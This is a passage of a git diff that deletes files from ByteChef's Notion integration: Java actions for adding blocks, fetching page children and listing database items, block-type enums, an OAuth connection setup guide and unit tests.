-                                                CHILDREN + "[index]." + TYPE, CALLOUT.getName(),
-                                                CHILDREN + "[index]." + TYPE, CODE.getName(),
-                                                CHILDREN + "[index]." + TYPE, HEADING_1.getName(),
-                                                CHILDREN + "[index]." + TYPE, HEADING_2.getName(),
-                                                CHILDREN + "[index]." + TYPE, HEADING_3.getName(),
-                                                CHILDREN + "[index]." + TYPE, NUMBERED_LIST_ITEM.getName(),
-                                                CHILDREN + "[index]." + TYPE, PARAGRAPH.getName(),
-                                                CHILDREN + "[index]." + TYPE, QUOTE.getName(),
-                                                CHILDREN + "[index]." + TYPE, TO_DO.getName(),
-                                                CHILDREN + "[index]." + TYPE, TOGGLE.getName()))
-                                .items(
-                                    object()
-                                        .properties(
-                                            string(TYPE)
-                                                .options(
-                                                    option("Text", NotionRichTextType.TEXT.getName()),
-                                                    option("Equation", NotionRichTextType.EQUATION.getName()))
-                                                .defaultValue(NotionRichTextType.TEXT.getName())
-                                                .required(true),
-                                            object(NotionRichTextType.TEXT.getName())
-                                                .label("Text")
-                                                .displayCondition("%s == '%s'".formatted(
-                                                    CHILDREN + "[index]." + RICH_TEXT + "[index]." + TYPE,
-                                                    NotionRichTextType.TEXT.getName()))
-                                                .properties(
-                                                    string(CONTENT)
-                                                        .label("Content")
-                                                        .description("The actual text content of the text.")
-                                                        .required(true))
-                                                .required(false),
-                                            object(NotionRichTextType.EQUATION.getName())
-                                                .label("Equation")
-                                                .displayCondition("%s == '%s'".formatted(
-                                                    CHILDREN + "[index]." + RICH_TEXT + "[index]." + TYPE,
-                                                    NotionRichTextType.EQUATION.getName()))
-                                                .properties(
-                                                    string(EXPRESSION)
-                                                        .label("Expression")
-                                                        .description(
-                                                            "The LaTeX string representing the inline equation.")
-                                                        .required(true))
-                                                .required(true)))
-                                .required(true),
-                            string(LANGUAGE)
-                                .label("Language")
-                                .displayCondition(
-                                    "%s == '%s'".formatted(CHILDREN + "[index]." + TYPE, CODE.getName()))
-                                .options(
-                                    option("abap", "abap"),
-                                    option("arduino", "arduino"),
-                                    option("bash", "bash"),
-                                    option("basic", "basic"),
-                                    option("c", "c"),
-                                    option("clojure", "clojure"),
-                                    option("coffeescript", "coffeescript"),
-                                    option("c++", "c++"),
-                                    option("c#", "c#"),
-                                    option("css", "css"),
-                                    option("dart", "dart"),
-                                    option("diff", "diff"),
-                                    option("docker", "docker"),
-                                    option("elixir", "elixir"),
-                                    option("elm", "elm"),
-                                    option("erlang", "erlang"),
-                                    option("flow", "flow"),
-                                    option("fortran", "fortran"),
-                                    option("f#", "f#"),
-                                    option("gherkin", "gherkin"),
-                                    option("glsl", "glsl"),
-                                    option("go", "go"),
-                                    option("graphql", "graphql"),
-                                    option("groovy", "groovy"),
-                                    option("haskell", "haskell"),
-                                    option("html", "html"),
-                                    option("java", "java"),
-                                    option("javascript", "javascript"),
-                                    option("json", "json"),
-                                    option("julia", "julia"),
-                                    option("kotlin", "kotlin"),
-                                    option("latex", "latex"),
-                                    option("less", "less"),
-                                    option("lisp", "lisp"),
-                                    option("livescript", "livescript"),
-                                    option("lua", "lua"),
-                                    option("makefile", "makefile"),
-                                    option("markdown", "markdown"),
-                                    option("markup", "markup"),
-                                    option("matlab", "matlab"),
-                                    option("mermaid", "mermaid"),
-                                    option("nix", "nix"),
-                                    option("objective-c", "objective-c"),
-                                    option("ocaml", "ocaml"),
-                                    option("pascal", "pascal"),
-                                    option("perl", "perl"),
-                                    option("php", "php"),
-                                    option("plain text", "plain text"),
-                                    option("powershell", "powershell"),
-                                    option("prolog", "prolog"),
-                                    option("protobuf", "protobuf"),
-                                    option("python", "python"),
-                                    option("r", "r"),
-                                    option("reason", "reason"),
-                                    option("ruby", "ruby"),
-                                    option("rust", "rust"),
-                                    option("sass", "sass"),
-                                    option("scala", "scala"),
-                                    option("scheme", "scheme"),
-                                    option("scss", "scss"),
-                                    option("shell", "shell"),
-                                    option("sql", "sql"),
-                                    option("swift", "swift"),
-                                    option("typescript", "typescript"),
-                                    option("vb.net", "vb.net"),
-                                    option("verilog", "verilog"),
-                                    option("vhdl", "vhdl"),
-                                    option("visual basic", "visual basic"),
-                                    option("webassembly", "webassembly"),
-                                    option("xml", "xml"),
-                                    option("yaml", "yaml"),
-                                    option("java/c/c++/c#", "java/c/c++/c#"))
-                                .required(true)))
-                .required(true))
-        .output()
-        .perform(NotionAddBlockToPageAction::perform);
-
-    private NotionAddBlockToPageAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        List<Map<String, ?>> childrenBlocks = new ArrayList<>();
-        List<Map<String, ?>> children = inputParameters.getRequiredList(CHILDREN, new TypeReference<>() {});
-
-        for (Map<String, ?> child : children) {
-            String blockType = (String) child.get(TYPE);
-            Map<String, Object> childrenMap = new HashMap<>();
-            childrenMap.put("object", "block");
-            childrenMap.put(TYPE, blockType);
-
-            NotionBlockType blockTypeEnum = getPropertyTypeByName(blockType);
-            switch (blockTypeEnum) {
-                case BOOKMARK -> {
-                    Map<String, Object> bookmarkMap = new HashMap<>();
-                    bookmarkMap.put(URL, child.get(URL));
-
-                    if (child.get(CAPTION) != null) {
-                        bookmarkMap.put(CAPTION, child.get(CAPTION));
-                    }
-                    childrenMap.put(BOOKMARK.getName(), bookmarkMap);
-                }
-                case BREADCRUMB -> childrenMap.put(BREADCRUMB.getName(), Map.of());
-                case BULLETED_LIST_ITEM -> {
-                    Map<String, Object> bulletMap = new HashMap<>();
-
-                    bulletMap.put(RICH_TEXT, child.get(RICH_TEXT));
-
-                    if (child.get(COLOR) != null) {
-                        bulletMap.put(COLOR, child.get(COLOR));
-                    }
-
-                    childrenMap.put(BULLETED_LIST_ITEM.getName(), bulletMap);
-                }
-                case CALLOUT -> {
-                    Map<String, Object> calloutMap = new HashMap<>();
-
-                    calloutMap.put(RICH_TEXT, child.get(RICH_TEXT));
-
-                    if (child.get(COLOR) != null) {
-                        calloutMap.put(COLOR, child.get(COLOR));
-                    }
-
-                    childrenMap.put(CALLOUT.getName(), calloutMap);
-                }
-                case CODE -> childrenMap.put(
-                    CODE.getName(), Map.of(RICH_TEXT, child.get(RICH_TEXT), LANGUAGE, child.get(LANGUAGE)));
-                case EMBED -> childrenMap.put(EMBED.getName(), Map.of(URL, child.get(URL)));
-                case EQUATION -> childrenMap.put(
-                    NotionBlockType.EQUATION.getName(), Map.of(EXPRESSION, child.get(EXPRESSION)));
-                case FILE -> childrenMap.put(FILE.getName(), Map.of());
-                case HEADING_1 -> childrenMap.put(HEADING_1.getName(), Map.of(RICH_TEXT, child.get(RICH_TEXT)));
-                case HEADING_2 -> childrenMap.put(HEADING_2.getName(), Map.of(RICH_TEXT, child.get(RICH_TEXT)));
-                case HEADING_3 -> childrenMap.put(HEADING_3.getName(), Map.of(RICH_TEXT, child.get(RICH_TEXT)));
-                case NUMBERED_LIST_ITEM -> childrenMap.put(NUMBERED_LIST_ITEM.getName(),
-                    Map.of(RICH_TEXT, child.get(RICH_TEXT)));
-                case PARAGRAPH -> childrenMap.put(PARAGRAPH.getName(), Map.of(RICH_TEXT, child.get(RICH_TEXT)));
-                case PDF -> childrenMap.put(PDF.getName(), Map.of());
-                case QUOTE -> childrenMap.put(QUOTE.getName(), Map.of(RICH_TEXT, child.get(RICH_TEXT)));
-                case TABLE_OF_CONTENTS -> childrenMap.put(TABLE_OF_CONTENTS.getName(), Map.of(COLOR, child.get(COLOR)));
-                case TO_DO -> {
-                    Map<String, Object> todoMap = new HashMap<>();
-
-                    todoMap.put(RICH_TEXT, child.get(RICH_TEXT));
-
-                    if (child.get(CHECKED) != null) {
-                        todoMap.put(CHECKED, child.get(CHECKED));
-                    }
-
-                    if (child.get(COLOR) != null) {
-                        todoMap.put(COLOR, child.get(COLOR));
-                    }
-
-                    childrenMap.put(TO_DO.getName(), todoMap);
-                }
-                case TOGGLE -> childrenMap.put(TOGGLE.getName(), Map.of(RICH_TEXT, child.get(RICH_TEXT)));
-                default -> throw new IllegalArgumentException("Unknown block type: " + blockTypeEnum);
-            }
-
-            childrenBlocks.add(childrenMap);
-        }
-
-        return context.http(http -> http.patch("/blocks/%s/children".formatted(inputParameters.getRequiredString(ID))))
-            .body(Http.Body.of(Map.of(CHILDREN, childrenBlocks)))
-            .configuration(Http.responseType(ResponseType.JSON))
-            .execute()
-            .getBody();
-    }
-}
diff --git a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionGetPageOrBlockChildrenAction.java b/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionGetPageOrBlockChildrenAction.java
deleted file mode 100644
index f85d7ce4dd9..00000000000
--- a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionGetPageOrBlockChildrenAction.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.notion.constant.NotionConstants.ID;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Monika Kušter
- */
-public class NotionGetPageOrBlockChildrenAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getPageOrBlockChildren")
-        .title("Get Page or Block Children")
-        .description("Retrieve the actual content of a page (represented by blocks)")
-        .properties(
-            string(ID)
-                .label("Page or Parent Block ID")
-                .required(true))
-        .output()
-        .perform(NotionGetPageOrBlockChildrenAction::perform);
-
-    private NotionGetPageOrBlockChildrenAction() {
-    }
-
-    public static List<Object> perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String blockId = inputParameters.getRequiredString(ID);
-
-        return getChildrenRecursively(blockId, context);
-    }
-
-    private static List<Object> getChildren(String blockId, Context context) {
-        List<Object> items = new ArrayList<>();
-
-        String startCursor = null;
-
-        do {
-            Map<String, ?> body = context
-                .http(http -> http.get("/blocks/%s/children".formatted(blockId)))
-                .queryParameters("page_size", 100, "start_cursor", startCursor)
-                .configuration(Http.responseType(Http.ResponseType.JSON))
-                .execute()
-                .getBody(new TypeReference<>() {});
-
-            if (body.get("results") instanceof List<?> list) {
-                items.addAll(list);
-            }
-
-            startCursor = (String) body.get("next_cursor");
-        } while (startCursor != null);
-        return items;
-    }
-
-    private static List<Object> getChildrenRecursively(String blockId, Context context) {
-        List<Object> children = getChildren(blockId, context);
-
-        for (Object child : children) {
-            if (child instanceof Map<?, ?> map) {
-                Boolean hasChildrenObj = (Boolean) map.get("has_children");
-
-                if (!hasChildrenObj) {
-                    continue;
-                }
-
-                String id = (String) map.get("id");
-                List<Object> childrenRecursively = getChildrenRecursively(id, context);
-
-                @SuppressWarnings("unchecked")
-                Map<String, Object> childrenMap = (Map<String, Object>) map;
-
-                childrenMap.put("children", childrenRecursively);
-            }
-        }
-
-        return children;
-    }
-}
diff --git a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionListDatabaseItemsAction.java b/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionListDatabaseItemsAction.java
deleted file mode 100644
index cf92a36a991..00000000000
--- a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/action/NotionListDatabaseItemsAction.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.notion.constant.NotionConstants.DIRECTION;
-import static com.bytechef.component.notion.constant.NotionConstants.ID;
-import static com.bytechef.component.notion.constant.NotionConstants.PROPERTY;
-import static com.bytechef.component.notion.util.NotionUtils.getAllItems;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.notion.util.NotionUtils;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Monika Kušter
- */
-public class NotionListDatabaseItemsAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("listDatabaseItems")
-        .title("List Database Items")
-        .description("List all items in a Notion database.")
-        .properties(
-            string(ID)
-                .label("Database ID")
-                .description("The ID of the database.")
-                .options((OptionsFunction<String>) NotionUtils::getDatabaseIdOptions)
-                .required(true),
-            string(PROPERTY)
-                .label("Sort By")
-                .description("Property to sort the items by.")
-                .options((OptionsFunction<String>) NotionUtils::getDatabasePropertyOptions)
-                .required(true),
-            string(DIRECTION)
-                .label("Sort Direction")
-                .description("The direction to sort the items.")
-                .options(
-                    option("Ascending", "ascending"),
-                    option("Descending", "descending"))
-                .defaultValue("descending")
-                .required(true))
-        .output()
-        .perform(NotionListDatabaseItemsAction::perform);
-
-    private NotionListDatabaseItemsAction() {
-    }
-
-    public static List<?> perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String url = "/data_sources/%s/query".formatted(inputParameters.getRequiredString(ID));
-        String property = inputParameters.getRequiredString(PROPERTY);
-        String direction = inputParameters.getRequiredString(DIRECTION);
-
-        return getAllItems(
-            context, url, false, "sorts", List.of(Map.of(PROPERTY, property, DIRECTION, direction)));
-    }
-}
diff --git a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/util/NotionBlockType.java b/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/util/NotionBlockType.java
deleted file mode 100644
index bddc43aa5f7..00000000000
--- a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/util/NotionBlockType.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.util;
-
-/**
- * @author Monika Kušter
- */
-public enum NotionBlockType {
-
-    BOOKMARK("bookmark"),
-    BREADCRUMB("breadcrumb"),
-    BULLETED_LIST_ITEM("bulleted_list_item"),
-    CALLOUT("callout"),
-    CHILD_DATABASE("child_database"),
-    CHILD_PAGE("child_page"),
-    CODE("code"),
-    COLUMN_LIST("column_list"),
-    DIVIDER("divider"),
-    EMBED("embed"),
-    EQUATION("equation"),
-    FILE("file"),
-    HEADING_1("heading_1"),
-    HEADING_2("heading_2"),
-    HEADING_3("heading_3"),
-    IMAGE("image"),
-    LINK_PREVIEW("link_preview"),
-    NUMBERED_LIST_ITEM("numbered_list_item"),
-    PARAGRAPH("paragraph"),
-    PDF("pdf"),
-    QUOTE("quote"),
-    SYNCED_BLOCK("synced_block"),
-    TABLE("table"),
-    TABLE_OF_CONTENTS("table_of_contents"),
-    TABLE_ROW("table_row"),
-    TO_DO("to_do"),
-    TOGGLE("toggle"),
-    VIDEO("video");
-
-    private final String name;
-
-    NotionBlockType(String name) {
-        this.name = name;
-    }
-
-    public String getName() {
-        return this.name;
-    }
-
-    public static NotionBlockType getPropertyTypeByName(String name) {
-        for (NotionBlockType value : values()) {
-            if (name.equals(value.getName())) {
-                return value;
-            }
-        }
-
-        throw new IllegalArgumentException("Unknown column type: " + name);
-    }
-}
diff --git a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/util/NotionRichTextType.java b/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/util/NotionRichTextType.java
deleted file mode 100644
index 489f92d7055..00000000000
--- a/server/libs/modules/components/notion/src/main/java/com/bytechef/component/notion/util/NotionRichTextType.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.util;
-
-/**
- * @author Monika Kušter
- */
-public enum NotionRichTextType {
-
-    EQUATION("equation"),
-    MENTION("mention"),
-    TEXT("text");
-
-    private final String name;
-
-    NotionRichTextType(String name) {
-        this.name = name;
-    }
-
-    public String getName() {
-        return this.name;
-    }
-
-    public static NotionRichTextType getPropertyTypeByName(String name) {
-        for (NotionRichTextType value : values()) {
-            if (name.equals(value.getName())) {
-                return value;
-            }
-        }
-
-        throw new IllegalArgumentException("Unknown column type: " + name);
-    }
-}
diff --git a/server/libs/modules/components/notion/src/main/resources/connection.mdx b/server/libs/modules/components/notion/src/main/resources/connection.mdx
deleted file mode 100644
index 2779d11d449..00000000000
--- a/server/libs/modules/components/notion/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,23 +0,0 @@
-## Connection Setup
-
-Connect Notion to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Notion OAuth app
-1. Open the Notion developer dashboard: https://www.notion.so/my-integrations
-2. Click **+ New integration**.
-3. Enter a clear name (for example, `ByteChef Integration`), select a workspace, and set the **Integration type** to **Public**.
-4. Fill out the remaining required fields (company name, website, email, etc.).
-5. Add the ByteChef OAuth redirect (callback) URL(s):
-   - Cloud: `https://app.bytechef.io/callback`
-   - Local development: `http://127.0.0.1:5173/callback` or `http://localhost:5173/callback`
-6. Click **Save**, then open **Configure integration settings**.
-7. Under **Capabilities**, enable at minimum:
-   - Read content
-   - Update content
-   - Insert content
-   - User information including email addresses
-8. Click **Save changes** and copy the generated **Client ID** and **Client Secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/tjGvn39BIE7TbZ4ztjc6?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionAddBlockToPageActionTest.java b/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionAddBlockToPageActionTest.java
deleted file mode 100644
index 25947e397c3..00000000000
--- a/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionAddBlockToPageActionTest.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.notion.action;
-
-import static com.bytechef.component.notion.constant.NotionConstants.CAPTION;
-import static com.bytechef.component.notion.constant.NotionConstants.CHECKED;
-import static com.bytechef.component.notion.constant.NotionConstants.CHILDREN;
-import static com.bytechef.component.notion.constant.NotionConstants.COLOR;
-import static com.bytechef.component.notion.constant.NotionConstants.CONTENT;
-import static com.bytechef.component.notion.constant.NotionConstants.EXPRESSION;
-import static com.bytechef.component.notion.constant.NotionConstants.ID;
-import static com.bytechef.component.notion.constant.NotionConstants.LANGUAGE;
-import static com.bytechef.component.notion.constant.NotionConstants.RICH_TEXT;
-import static com.bytechef.component.notion.constant.NotionConstants.TYPE;
-import static com.bytechef.component.notion.constant.NotionConstants.URL;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Monika Kušter
- */
-class NotionAddBlockToPageActionTest {
-
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Http.Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final ArgumentCaptor<Http.Body> bodyArgumentCaptor = forClass(Http.Body.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Http.Executor mockedExecutor = mock(Http.Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Http.Response mockedResponse = mock(Http.Response.class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        List<Map<String, ?>> inputBlocks = List.of(
-            Map.of(
-                TYPE, "bookmark", URL, "https://www.bytechef.io/", CAPTION,
-                List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "ByteChef")))),
-            Map.of(TYPE, "breadcrumb"),
-            Map.of(
-                TYPE, "bulleted_list_item", COLOR, "red",
-                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "ByteChef")))),
-            Map.of(
-                TYPE, "callout", COLOR, "gray",
-                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Callout")))),
-            Map.of(
-                TYPE, "code", LANGUAGE, "java",
-                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "System.out.println();")))),
-            Map.of(TYPE, "embed", URL, "https://www.bytechef.io/"),
-            Map.of(
-                TYPE, "equation", EXPRESSION, "katex",
-                CAPTION, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "equation")))),
-            Map.of(TYPE, "heading_1", RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Heading 1")))),
-            Map.of(TYPE, "heading_2", RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Heading 2")))),
-            Map.of(TYPE, "heading_3", RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Heading 3")))),
-            Map.of(
-                TYPE, "numbered_list_item",
-                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Numbered List Item")))),
-            Map.of(
-                TYPE, "paragraph",
-                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Paragraph")))),
-            Map.of(
-                TYPE, "quote",
-                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Quote")))),
-            Map.of(TYPE, "table_of_contents", COLOR, "red"),
-            Map.of(
-                TYPE, "to_do", CHECKED, true, COLOR, "blue",
-                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of("content", "Todo 1")))),
-            Map.of(TYPE, "toggle", RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Toggle")))));
-
-        Parameters inputParameters = MockParametersFactory.create(Map.of(ID, "123", CHILDREN, inputBlocks));
-
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.patch(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody())
-            .thenReturn(mockedObject);
-
-        Object result = NotionAddBlockToPageAction.perform(inputParameters, null, mockedContext);
-
-        assertEquals(mockedObject, result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-
-        Http.Configuration configuration = configurationBuilder.build();
-
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals("/blocks/123/children", stringArgumentCaptor.getValue());
-        assertEquals(
-            Http.Body.of(
-                Map.of(CHILDREN,
-                    List.of(
-                        Map.of(
-                            "object", "block",
-                            TYPE, "bookmark",
-                            "bookmark", Map.of(
-                                URL, "https://www.bytechef.io/",
-                                CAPTION, List.of(
-                                    Map.of(TYPE, "text", "text", Map.of(CONTENT, "ByteChef"))))),
-                        Map.of("object", "block", TYPE, "breadcrumb", "breadcrumb", Map.of()),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "bulleted_list_item",
-                            "bulleted_list_item", Map.of(
-                                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "ByteChef"))),
-                                COLOR, "red")),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "callout",
-                            "callout", Map.of(
-                                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Callout"))),
-                                COLOR, "gray")),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "code",
-                            "code", Map.of(
-                                RICH_TEXT,
-                                List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "System.out.println();"))),
-                                "language", "java")),
-                        Map.of("object", "block", TYPE, "embed", "embed", Map.of(URL, "https://www.bytechef.io/")),
-                        Map.of("object", "block", TYPE, "equation", "equation", Map.of(EXPRESSION, "katex")),
-                        Map.of("object", "block", TYPE, "heading_1", "heading_1",
-                            Map.of(RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Heading 1"))))),
-                        Map.of("object", "block", TYPE, "heading_2", "heading_2",
-                            Map.of(RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Heading 2"))))),
-                        Map.of("object", "block", TYPE, "heading_3", "heading_3",
-                            Map.of(RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Heading 3"))))),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "numbered_list_item",
-                            "numbered_list_item", Map.of(
-                                RICH_TEXT,
-                                List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Numbered List Item"))))),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "paragraph",
-                            "paragraph", Map.of(
-                                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Paragraph"))))),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "quote",
-                            "quote", Map.of(
-                                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Quote"))))),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "table_of_contents",
-                            "table_of_contents", Map.of(COLOR, "red")),
-                        Map.of(
-                            "object", "block",
-                            TYPE, "to_do",
-                            "to_do", Map.of(
-                                RICH_TEXT, List.of(Map.of(TYPE, "text", "text", Map.of(CONTENT, "Todo 1"))),
-                                "checked", true,
-                                COLOR, "blue")),
-                        Map.of("object", "block", TYPE, "toggle", "toggle",
-                            Map.of(RICH_TEXT, List.of(Map.of("text", Map.of(CONTENT, "Toggle"))))))),
-                Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionGetPageOrBlockChildrenActionTest.java b/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionGetPageOrBlockChildrenActionTest.java
deleted file mode 100644
index 57b3b5fc70e..00000000000
--- a/server/libs/modules/components/notion/src/test/java/com/bytechef/component/notion/action/NotionGetPageOrBlockChildrenActionTest.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
